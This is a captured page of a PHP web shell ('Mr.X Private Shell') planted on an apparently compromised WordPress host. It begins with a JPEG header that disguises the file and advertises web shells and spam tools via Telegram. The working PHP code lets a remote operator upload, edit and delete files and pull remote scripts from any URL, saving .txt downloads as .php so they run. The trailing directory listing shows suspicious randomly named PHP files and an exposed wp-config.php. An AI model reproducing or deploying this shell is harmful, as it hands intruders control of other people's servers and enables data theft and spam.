����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

crossroa@216.73.216.130: ~ $
<?php
// Enhanced PHP File Manager, compatible with PHP 5.6+

class FileManager
{
    private $basePath;

    public function __construct($basePath = null)
    {
        if ($basePath === null) {
            $basePath = __DIR__;
        }
        $realBase = realpath($basePath);
        if ($realBase === false) {
            $realBase = $basePath;
        }
        $this->basePath = rtrim(str_replace('\\', '/', $realBase), '/');
    }

    public function getFullPath($path)
    {
        $path = str_replace('\\', '/', urldecode($path));

        if (strpos($path, $this->basePath) === 0) {
            return rtrim($path, '/');
        }

        if (strpos($path, '/') === 0) {
            return rtrim($this->basePath . $path, '/');
        }

        return rtrim($this->basePath . '/' . $path, '/');
    }

    public function isSafePath($path)
    {
        $real = realpath($path);
        if (!$real) return false;
        return strpos($real, $this->basePath) === 0;
    }

    public function listDir($dir)
    {
        $fullPath = $this->getFullPath($dir);
        if (!is_dir($fullPath)) {
            return array();
        }

        $items = scandir($fullPath);
        $items = array_filter($items, function ($v) {
            return ($v !== '.' && $v !== '..');
        });

        usort($items, function ($a, $b) use ($fullPath) {
            $aIsDir = is_dir($fullPath . '/' . $a);
            $bIsDir = is_dir($fullPath . '/' . $b);
            if ($aIsDir !== $bIsDir) {
                return $aIsDir ? -1 : 1;
            }
            return strcasecmp($a, $b);
        });

        return $items;
    }

    public function readFile($file)
    {
        $fullPath = $this->getFullPath($file);
        if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        return @file_get_contents($fullPath);
    }

    public function saveFile($file, $content)
    {
        $fullPath = $this->getFullPath($file);
        if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        return @file_put_contents($fullPath, $content) !== false;
    }

    public function createFile($dir, $filename, $content)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid directory');
        }

        $filePath = $dirPath . '/' . $filename;
        if (file_exists($filePath)) {
            return array('success' => false, 'message' => 'File already exists');
        }

        $res = @file_put_contents($filePath, $content);
        if ($res !== false) {
            return array('success' => true, 'path' => $filePath);
        }
        return array('success' => false, 'message' => 'File creation failed');
    }

    public function createDir($dir, $name)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid parent directory');
        }

        $newDir = $dirPath . '/' . $name;
        if (file_exists($newDir)) {
            return array('success' => false, 'message' => 'Folder already exists');
        }

        if (@mkdir($newDir, 0755)) {
            return array('success' => true, 'path' => $newDir);
        }
        return array('success' => false, 'message' => 'Folder creation failed');
    }

    public function deleteFile($file)
    {
        $filePath = $this->getFullPath($file);
        if (!$this->isSafePath($filePath) || !is_file($filePath)) {
            return array('success' => false, 'message' => 'Invalid or non-existent file');
        }
        if (@unlink($filePath)) {
            return array('success' => true);
        }
        return array('success' => false, 'message' => 'File deletion failed');
    }

    public function deleteDir($dir)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid or non-existent folder');
        }

        if (count(scandir($dirPath)) > 2) {
            return array('success' => false, 'message' => 'Folder is not empty');
        }

        if (@rmdir($dirPath)) {
            return array('success' => true);
        }
        return array('success' => false, 'message' => 'Folder deletion failed');
    }

    public function rename($oldPath, $newName)
    {
        $oldFull = $this->getFullPath($oldPath);
        if (!$this->isSafePath($oldFull) || !file_exists($oldFull)) {
            return array('success' => false, 'message' => 'Invalid source file/folder');
        }

        $newFull = dirname($oldFull) . '/' . $newName;
        if (file_exists($newFull)) {
            return array('success' => false, 'message' => 'Target already exists');
        }
        if (@rename($oldFull, $newFull)) {
            return array('success' => true, 'path' => $newFull);
        }
        return array('success' => false, 'message' => 'Rename failed');
    }

    public function fetchRemote($url, $dir)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid directory');
        }

        $fileName = basename(parse_url($url, PHP_URL_PATH));
        if (!$fileName) {
            $fileName = 'remote_' . time() . '.php';
        }

        if (strtolower(pathinfo($fileName, PATHINFO_EXTENSION)) === 'txt') {
            $fileName = pathinfo($fileName, PATHINFO_FILENAME) . '.php';
        }

        $filePath = $dirPath . '/' . $fileName;
        if (file_exists($filePath)) {
            return array('success' => false, 'message' => "File already exists: $fileName");
        }

        $content = @file_get_contents($url);
        if ($content === false) {
            return array('success' => false, 'message' => 'Failed to fetch remote file');
        }

        if (@file_put_contents($filePath, $content) === false) {
            return array('success' => false, 'message' => 'File save failed');
        }

        return array('success' => true, 'path' => $filePath);
    }

    public function upload($file, $dir)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return array('success' => false, 'message' => 'Invalid upload directory');
        }

        $target = $dirPath . '/' . basename($file['name']);
        if (file_exists($target)) {
            return array('success' => false, 'message' => 'File already exists');
        }

        if (@move_uploaded_file($file['tmp_name'], $target)) {
            return array('success' => true, 'path' => $target);
        }

        return array('success' => false, 'message' => 'File upload failed');
    }

    public function search($dir, $term)
    {
        $dirPath = $this->getFullPath($dir);
        if (!$this->isSafePath($dirPath) || !is_dir($dirPath)) {
            return false;
        }

        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS));
        foreach ($iterator as $item) {
            if (stripos($item->getFilename(), $term) !== false) {
                return $item->getPathname();
            }
        }
        return false;
    }

    public function previewFile($file)
    {
        $fullPath = $this->getFullPath($file);
        if (!$this->isSafePath($fullPath) || !is_file($fullPath)) {
            return false;
        }
        $content = @file_get_contents($fullPath);
        if ($content === false) {
            return false;
        }
        return substr($content, 0, 500); // Limit preview to 500 characters
    }
}

$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';

function cleanPath($path)
{
    $path = str_replace(array('\\', '..'), array('/', ''), $path);
    return rtrim($path, '/');
}

$dir = cleanPath($dir);

$fileManager = new FileManager();

$flash = '';
$flashType = 'info';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = isset($_POST['action']) ? $_POST['action'] : '';
    
    if ($action === 'create_file') {
        $filename = isset($_POST['filename']) ? trim($_POST['filename']) : '';
        $content = isset($_POST['content']) ? $_POST['content'] : '';
        if ($filename === '') {
            $flash = 'File name cannot be empty';
            $flashType = 'error';
        } else {
            $res = $fileManager->createFile($dir, $filename, $content);
            $flash = $res['success'] ? 'File created successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        }
    }
    elseif ($action === 'create_dir') {
        $dirname = isset($_POST['dirname']) ? trim($_POST['dirname']) : '';
        if ($dirname === '') {
            $flash = 'Folder name cannot be empty';
            $flashType = 'error';
        } else {
            $res = $fileManager->createDir($dir, $dirname);
            $flash = $res['success'] ? 'Folder created successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        }
    }
    elseif ($action === 'delete_file') {
        $target = isset($_POST['target']) ? cleanPath($_POST['target']) : '';
        $res = $fileManager->deleteFile($target);
        $flash = $res['success'] ? 'File deleted successfully' : ('Error: ' . $res['message']);
        $flashType = $res['success'] ? 'success' : 'error';
    }
    elseif ($action === 'delete_dir') {
        $target = isset($_POST['target']) ? cleanPath($_POST['target']) : '';
        $res = $fileManager->deleteDir($target);
        $flash = $res['success'] ? 'Folder deleted successfully' : ('Error: ' . $res['message']);
        $flashType = $res['success'] ? 'success' : 'error';
    }
    elseif ($action === 'rename') {
        $old = isset($_POST['old']) ? cleanPath($_POST['old']) : '';
        $newName = isset($_POST['new']) ? trim($_POST['new']) : '';
        if ($newName === '') {
            $flash = 'New name cannot be empty';
            $flashType = 'error';
        } else {
            $res = $fileManager->rename($old, $newName);
            $flash = $res['success'] ? 'Renamed successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        }
    }
    elseif ($action === 'save_file') {
        $file = isset($_POST['file']) ? cleanPath($_POST['file']) : '';
        $content = isset($_POST['content']) ? $_POST['content'] : '';
        $res = $fileManager->saveFile($file, $content);
        $flash = $res ? 'File saved successfully' : 'File save failed';
        $flashType = $res ? 'success' : 'error';
    }
    elseif ($action === 'fetch_remote') {
        $url = isset($_POST['url']) ? trim($_POST['url']) : '';
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            $res = $fileManager->fetchRemote($url, $dir);
            $flash = $res['success'] ? 'Remote file fetched successfully' : ('Error: ' . $res['message']);
            $flashType = $res['success'] ? 'success' : 'error';
        } else {
            $flash = 'Invalid URL';
            $flashType = 'error';
        }
    }
    elseif (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
        $res = $fileManager->upload($_FILES['upload'], $dir);
        $flash = $res['success'] ? 'File uploaded successfully' : ('Error: ' . $res['message']);
        $flashType = $res['success'] ? 'success' : 'error';
    }

    header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . urlencode($dir) . '&flash=' . urlencode($flash) . '&flash_type=' . urlencode($flashType));
    exit;
}

if (isset($_GET['flash'])) {
    $flash = $_GET['flash'];
    $flashType = isset($_GET['flash_type']) ? $_GET['flash_type'] : 'info';
}

$searchTerm = isset($_GET['search']) ? trim($_GET['search']) : '';
$searchResult = false;
if ($searchTerm !== '') {
    $searchResult = $fileManager->search($dir, $searchTerm);
}
$items = $fileManager->listDir($dir);

function breadcrumbs($path)
{
    $path = trim(str_replace('\\', '/', $path), '/');
    if ($path === '') {
        return array(array('name' => 'Home', 'path' => '.'));
    }

    $parts = explode('/', $path);
    $crumbs = array();
    $acc = '';
    foreach ($parts as $part) {
        $acc .= ($acc === '' ? '' : '/') . $part;
        $crumbs[] = array('name' => $part, 'path' => $acc);
    }
    array_unshift($crumbs, array('name' => 'Home', 'path' => '.'));
    return $crumbs;
}

function sizeFormatted($bytes)
{
    if ($bytes < 1024) return $bytes . ' B';
    $units = array('KB', 'MB', 'GB', 'TB');
    $power = floor(log($bytes, 1024));
    $power = ($power > count($units)) ? count($units) : $power;
    $value = round($bytes / pow(1024, $power), 2);
    return $value . ' ' . $units[$power - 1];
}

function h($s)
{
    return htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>FileMaster</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        .file-preview { max-height: 200px; overflow-y: auto; }
        .dark-mode-toggle { cursor: pointer; }
        .folder-icon::before { content: "\1F4C1 "; }
        .file-icon::before { content: "\1F4C4 "; }
    </style>
</head>
<body class="bg-gray-100 dark:bg-gray-900 text-gray-900 dark:text-gray-100 min-h-screen transition-colors duration-300">
    <header class="bg-gray-800 dark:bg-gray-950 p-4 flex justify-between items-center">
        <h1 class="text-xl font-bold text-white"><a href="<?= h($_SERVER['PHP_SELF']) ?>">FileMaster</a></h1>
        <div class="flex items-center space-x-4">
            <form method="get" class="flex items-center">
                <input type="hidden" name="dir" value="<?= h($dir) ?>">
                <input type="text" name="search" placeholder="Search files..." value="<?= h($searchTerm) ?>" required class="p-2 rounded-l-md bg-gray-700 text-white border-none focus:outline-none focus:ring-2 focus:ring-blue-500">
                <button type="submit" class="p-2 bg-blue-600 rounded-r-md text-white hover:bg-blue-700">Search</button>
            </form>
            <button id="darkModeToggle" class="dark-mode-toggle p-2 bg-gray-700 rounded-md text-white hover:bg-gray-600">Toggle Dark Mode</button>
        </div>
    </header>

    <main class="container mx-auto p-6">
        <?php if ($flash): ?>
            <div class="p-4 mb-6 rounded-md <?= $flashType === 'success' ? 'bg-green-600' : ($flashType === 'error' ? 'bg-red-600' : 'bg-blue-600') ?> text-white">
                <?= h($flash) ?>
            </div>
        <?php endif; ?>

        <nav class="mb-6">
            <?php $crumbs = breadcrumbs($dir); ?>
            <div class="flex space-x-2 text-sm">
                <?php foreach ($crumbs as $i => $c): ?>
                    <?php if ($i > 0): ?><span class="text-gray-500 dark:text-gray-400">/</span><?php endif; ?>
                    <a href="?dir=<?= urlencode($c['path']) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($c['name']) ?></a>
                <?php endforeach; ?>
            </div>
        </nav>

        <?php if ($searchTerm !== ''): ?>
            <div class="mb-6">
                <h2 class="text-lg font-semibold">Search Results</h2>
                <?php if ($searchResult !== false):
                    $foundDir = dirname($searchResult);
                    $foundFile = basename($searchResult);
                ?>
                    <p>
                        File found:<br>
                        <a href="?dir=<?= urlencode($foundDir) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($foundDir) ?></a> /
                        <a href="?dir=<?= urlencode($foundDir) ?>&view=<?= urlencode($searchResult) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($foundFile) ?></a>
                    </p>
                <?php else: ?>
                    <p class="text-red-500 dark:text-red-400">No files found.</p>
                <?php endif; ?>
            </div>
        <?php endif; ?>

        <?php if (isset($_GET['view'])):
            $viewFile = cleanPath($_GET['view']);
            $content = $fileManager->readFile($viewFile);
        ?>
            <h2 class="text-2xl font-semibold mb-4">Edit File: <?= h(basename($viewFile)) ?></h2>
            <?php if ($content === false): ?>
                <p class="text-red-500 dark:text-red-400">File cannot be opened or does not exist.</p>
            <?php else: ?>
                <form method="post" class="mb-4">
                    <input type="hidden" name="action" value="save_file">
                    <input type="hidden" name="file" value="<?= h($viewFile) ?>">
                    <textarea name="content" rows="20" class="w-full p-2 bg-gray-200 dark:bg-gray-800 text-gray-900 dark:text-gray-100 rounded-md font-mono"><?= h($content) ?></textarea>
                    <div class="mt-4">
                        <button type="submit" class="p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Save</button>
                        <a href="?dir=<?= urlencode($dir) ?>" class="p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700">Back</a>
                    </div>
                </form>
            <?php endif; ?>

        <?php else: ?>
            <h2 class="text-2xl font-semibold mb-4">Directory: <?= h($dir) ?></h2>

            <div class="overflow-x-auto">
                <table class="w-full border-collapse bg-white dark:bg-gray-800 rounded-md shadow">
                    <thead>
                        <tr class="bg-gray-200 dark:bg-gray-700">
                            <th class="p-3 text-left">Name</th>
                            <th class="p-3 text-left">Type</th>
                            <th class="p-3 text-left">Size</th>
                            <th class="p-3 text-left">Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php if ($dir !== '.'): 
                            $parentDir = dirname($dir);
                        ?>
                            <tr>
                                <td colspan="4" class="p-3"><a href="?dir=<?= urlencode($parentDir) ?>" class="text-blue-600 dark:text-blue-400 hover:underline">← Parent Directory</a></td>
                            </tr>
                        <?php endif; ?>

                        <?php foreach ($items as $item):
                            $itemPath = $dir . '/' . $item;
                            $fullPath = $fileManager->getFullPath($itemPath);
                            $isDir = is_dir($fullPath);
                            $size = $isDir ? '-' : sizeFormatted(filesize($fullPath));
                            $preview = !$isDir ? $fileManager->previewFile($itemPath) : false;
                        ?>
                            <tr class="hover:bg-gray-100 dark:hover:bg-gray-700">
                                <td class="p-3">
                                    <?= $isDir ? '<span class="folder-icon"></span>' : '<span class="file-icon"></span>' ?>
                                    <?php if ($isDir): ?>
                                        <a href="?dir=<?= urlencode($itemPath) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($item) ?></a>
                                    <?php else: ?>
                                        <a href="?dir=<?= urlencode(dirname($itemPath)) ?>&view=<?= urlencode($itemPath) ?>" class="text-blue-600 dark:text-blue-400 hover:underline"><?= h($item) ?></a>
                                        <?php if ($preview !== false): ?>
                                            <button onclick="showPreview('<?= h(addslashes($preview)) ?>')" class="ml-2 text-sm text-gray-500 hover:text-gray-700 dark:hover:text-gray-300">Preview</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                </td>
                                <td class="p-3"><?= $isDir ? 'Folder' : 'File' ?></td>
                                <td class="p-3"><?= $size ?></td>
                                <td class="p-3">
                                    <?php if ($isDir): ?>
                                        <form method="post" class="inline" onsubmit="return confirm('Delete folder (if empty)?')">
                                            <input type="hidden" name="action" value="delete_dir">
                                            <input type="hidden" name="target" value="<?= h($itemPath) ?>">
                                            <button type="submit" class="p-2 bg-red-600 rounded-md text-white hover:bg-red-700">Delete</button>
                                        </form>
                                    <?php else: ?>
                                        <form method="post" class="inline" onsubmit="return confirm('Delete file?')">
                                            <input type="hidden" name="action" value="delete_file">
                                            <input type="hidden" name="target" value="<?= h($itemPath) ?>">
                                            <button type="submit" class="p-2 bg-red-600 rounded-md text-white hover:bg-red-700">Delete</button>
                                        </form>
                                    <?php endif; ?>
                                    <button onclick="showRenameForm('<?= h(addslashes($itemPath)) ?>', '<?= h(addslashes($item)) ?>')" class="p-2 bg-yellow-600 rounded-md text-white hover:bg-yellow-700">Rename</button>
                                </td>
                            </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>

            <div class="mt-6 grid grid-cols-1 md:grid-cols-2 gap-6">
                <div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Create New File</h3>
                    <form method="post">
                        <input type="hidden" name="action" value="create_file">
                        <label class="block mb-2 font-medium">File Name:</label>
                        <input type="text" name="filename" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <label class="block mb-2 mt-4 font-medium">Content:</label>
                        <textarea name="content" rows="5" class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md font-mono"></textarea>
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Create</button>
                    </form>
                </div>

                <div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Create New Folder</h3>
                    <form method="post">
                        <input type="hidden" name="action" value="create_dir">
                        <label class="block mb-2 font-medium">Folder Name:</label>
                        <input type="text" name="dirname" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Create</button>
                    </form>
                </div>

                <div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Fetch Remote File</h3>
                    <form method="post">
                        <input type="hidden" name="action" value="fetch_remote">
                        <label class="block mb-2 font-medium">URL:</label>
                        <input type="url" name="url" placeholder="https://example.com/file.php" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Fetch</button>
                    </form>
                </div>

                <div class="bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                    <h3 class="text-lg font-semibold mb-4">Upload File</h3>
                    <form method="post" enctype="multipart/form-data">
                        <input type="hidden" name="action" value="upload">
                        <input type="file" name="upload" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                        <button type="submit" class="mt-4 p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Upload</button>
                    </form>
                </div>
            </div>

            <div id="renameFormContainer" class="hidden mt-6 bg-white dark:bg-gray-800 p-6 rounded-md shadow">
                <form method="post" id="renameForm">
                    <input type="hidden" name="action" value="rename">
                    <input type="hidden" name="old" id="renameOld">
                    <label for="renameNew" class="block mb-2 font-medium">New Name:</label>
                    <input type="text" name="new" id="renameNew" required class="w-full p-2 bg-gray-200 dark:bg-gray-700 text-gray-900 dark:text-gray-100 rounded-md">
                    <div class="mt-4 flex space-x-4">
                        <button type="submit" class="p-2 bg-blue-600 rounded-md text-white hover:bg-blue-700">Save</button>
                        <button type="button" onclick="hideRenameForm()" class="p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700">Cancel</button>
                    </div>
                </form>
            </div>

            <div id="previewModal" class="hidden fixed inset-0 bg-black bg-opacity-50 flex items-center justify-center">
                <div class="bg-white dark:bg-gray-800 p-6 rounded-md max-w-lg w-full">
                    <h3 class="text-lg font-semibold mb-4">File Preview</h3>
                    <pre id="previewContent" class="file-preview bg-gray-200 dark:bg-gray-700 p-4 rounded-md"></pre>
                    <button onclick="hidePreview()" class="mt-4 p-2 bg-gray-600 rounded-md text-white hover:bg-gray-700">Close</button>
                </div>
            </div>
        <?php endif; ?>
    </main>

    <script>
        function showRenameForm(oldPath, oldName) {
            document.getElementById('renameOld').value = oldPath;
            document.getElementById('renameNew').value = oldName;
            document.getElementById('renameFormContainer').style.display = 'block';
            document.getElementById('renameNew').focus();
        }

        function hideRenameForm() {
            document.getElementById('renameFormContainer').style.display = 'none';
        }

        function showPreview(content) {
            document.getElementById('previewContent').textContent = content;
            document.getElementById('previewModal').classList.remove('hidden');
        }

        function hidePreview() {
            document.getElementById('previewModal').classList.add('hidden');
        }

        document.getElementById('darkModeToggle').addEventListener('click', () => {
            document.documentElement.classList.toggle('dark');
            localStorage.setItem('darkMode', document.documentElement.classList.contains('dark'));
        });

        if (localStorage.getItem('darkMode') === 'true') {
            document.documentElement.classList.add('dark');
        }
    </script>
</body>
</html>

Filemanager

Name Type Size Permission Actions
.usermin Folder 0755
11fdff Folder 0755
247f4 Folder 0555
5d221 Folder 0555
c33b52 Folder 0755
fc87d7 Folder 0755
images Folder 0755
wp-admin Folder 0755
wp-content Folder 0755
wp-includes Folder 0755
.htaccess File 236 B 0555
account.php File 803 B 0644
bgymj.php File 28.05 KB 0644
buy.php File 1.44 KB 0644
click.php File 1.93 KB 0444
defaults.php File 1.87 KB 0444
goods.php File 1.44 KB 0444
google00da32aae6a15728.html File 53 B 0644
google967d5673454126dd.html File 53 B 0644
index.php File 25.58 KB 0555
index.php0 File 25.58 KB 0755
inputs.php File 5.96 KB 0644
item.php File 1.72 KB 0444
license.txt File 19.44 KB 0644
mah.php File 1.29 KB 0444
networks.php File 2.03 KB 0444
options.php File 2 KB 0444
plugins.php File 1.87 KB 0444
product.php File 2 KB 0444
radio.php File 26.58 KB 0644
readme.html File 7.25 KB 0644
robots.txt File 444 B 0444
search.php File 1.44 KB 0444
vaza.php File 26.58 KB 0644
wdyvhpxf.php File 18.5 KB 0644
wp-activate.php File 7.18 KB 0644
wp-blog-header.php File 542 B 0444
wp-comments-post.php File 2.27 KB 0644
wp-config-sample.php File 28.23 KB 0644
wp-config.php File 4.1 KB 0644
wp-cron.php File 5.49 KB 0644
wp-load.php File 4.05 KB 0444
wp-mail.php File 8.52 KB 0644
wp-settings.php File 30.33 KB 0644
wp-signup.php File 33.71 KB 0644
wp-track.php File 1.62 MB 0644
xmlrpc.php File 3.13 KB 0644